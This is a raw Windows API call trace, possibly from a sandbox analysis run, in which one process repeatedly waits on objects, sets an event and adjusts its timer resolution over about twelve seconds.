	[0054.450] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.464] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.473] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.483] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.494] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.507] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.519] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.529] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.540] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.556] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.568] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.578] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.590] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.600] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.610] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.620] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.631] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.641] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.654] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.664] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.674] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.684] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.694] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.704] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.716] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.727] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.737] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.748] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.760] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.770] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.783] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.793] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.806] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.816] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.827] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.837] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.850] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.861] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.877] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.887] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.897] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.910] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.920] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.936] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.950] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.969] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.984] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.995] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.006] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.020] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.029] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.041] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.051] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.062] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.073] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.083] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.100] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.113] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.123] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.133] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.143] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.153] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.164] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.175] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.185] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.198] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.209] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.219] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.229] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.241] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.251] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.262] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.272] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.283] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.294] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.307] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.317] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.328] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.339] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.350] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.360] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.374] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.384] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.401] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.411] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.421] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.434] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.445] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.456] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.472] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.485] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.499] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.510] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.521] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.539] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.551] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.563] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.574] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.585] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.608] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.618] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.629] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.639] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.650] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.660] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.670] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.681] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.692] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.702] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.712] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.722] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.735] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.747] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.759] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.772] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.782] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.794] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.820] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.830] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.840] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.850] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.889] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0055.965] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0056.072] SetEvent (hEvent=0x78) returned 1
	[0056.072] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0056.168] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0056.168] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0056.326] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0056.326] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0056.429] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0056.525] SetEvent (hEvent=0x78) returned 1
	[0056.525] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0056.685] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0056.759] SetEvent (hEvent=0x78) returned 1
	[0056.759] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0056.759] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0056.760] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0056.808] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0056.808] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0056.907] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0057.009] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0057.106] SetEvent (hEvent=0x78) returned 1
	[0057.106] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0057.271] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0057.308] SetEvent (hEvent=0x78) returned 1
	[0057.308] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0057.370] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0057.474] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0057.572] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0057.668] SetEvent (hEvent=0x78) returned 1
	[0057.668] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0057.828] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0057.879] SetEvent (hEvent=0x78) returned 1
	[0057.879] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0057.890] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0057.891] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0057.954] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0057.954] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0058.058] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0058.154] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0058.250] SetEvent (hEvent=0x78) returned 1
	[0058.250] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0058.417] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0058.530] SetEvent (hEvent=0x78) returned 1
	[0058.530] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0058.532] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0058.532] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0058.566] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0058.566] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0058.664] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0058.763] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0058.871] SetEvent (hEvent=0x78) returned 1
	[0058.871] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0058.978] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0058.979] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0059.147] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0059.147] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0059.153] SetEvent (hEvent=0x78) returned 1
	[0059.153] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0059.251] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0059.347] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0059.454] SetEvent (hEvent=0x78) returned 1
	[0059.454] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0059.559] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0059.559] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0059.717] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0059.717] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0059.738] SetEvent (hEvent=0x78) returned 1
	[0059.738] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0059.824] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0059.921] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0060.046] SetEvent (hEvent=0x78) returned 1
	[0060.046] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0060.142] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0060.142] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0060.300] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0060.300] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0060.340] SetEvent (hEvent=0x78) returned 1
	[0060.340] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0060.400] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0060.496] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0060.609] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0060.708] SetEvent (hEvent=0x78) returned 1
	[0060.708] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0060.864] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0060.964] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0061.073] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0061.174] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0061.270] SetEvent (hEvent=0x78) returned 1
	[0061.270] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0061.428] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0061.499] SetEvent (hEvent=0x78) returned 1
	[0061.499] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0061.529] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0061.529] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0061.640] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0061.640] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0061.737] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0061.834] SetEvent (hEvent=0x78) returned 1
	[0061.834] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0062.007] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0062.139] SetEvent (hEvent=0x78) returned 1
	[0062.139] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0062.236] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0062.332] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0062.432] SetEvent (hEvent=0x78) returned 1
	[0062.432] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0062.529] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0062.529] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0062.704] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0062.704] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0062.803] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0062.900] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0063.003] SetEvent (hEvent=0x78) returned 1
	[0063.003] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0063.100] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0063.100] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0063.289] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0063.290] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0063.318] SetEvent (hEvent=0x78) returned 1
	[0063.318] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0063.388] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0063.485] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0063.655] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0063.756] SetEvent (hEvent=0x78) returned 1
	[0063.756] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0063.916] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0063.957] SetEvent (hEvent=0x78) returned 1
	[0063.957] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0064.018] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0064.145] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0064.248] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0064.348] SetEvent (hEvent=0x78) returned 1
	[0064.348] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0064.509] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0064.584] SetEvent (hEvent=0x78) returned 1
	[0064.584] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0064.657] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0064.759] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0064.878] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0064.983] SetEvent (hEvent=0x78) returned 1
	[0064.983] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0065.130] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0065.234] SetEvent (hEvent=0x78) returned 1
	[0065.234] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0065.248] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0065.248] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0065.344] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0065.344] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0065.442] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0065.539] SetEvent (hEvent=0x78) returned 1
	[0065.539] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0065.635] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0065.635] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0065.752] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0065.752] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0065.854] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0065.936] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.005] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.016] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0066.016] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0066.039] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0066.039] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.051] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.071] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0066.071] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0066.086] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0066.086] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.133] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.141] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.150] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.153] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.181] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.190] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.196] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.207] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.217] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.219] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.220] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.222] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.230] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.236] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.241] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.241] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
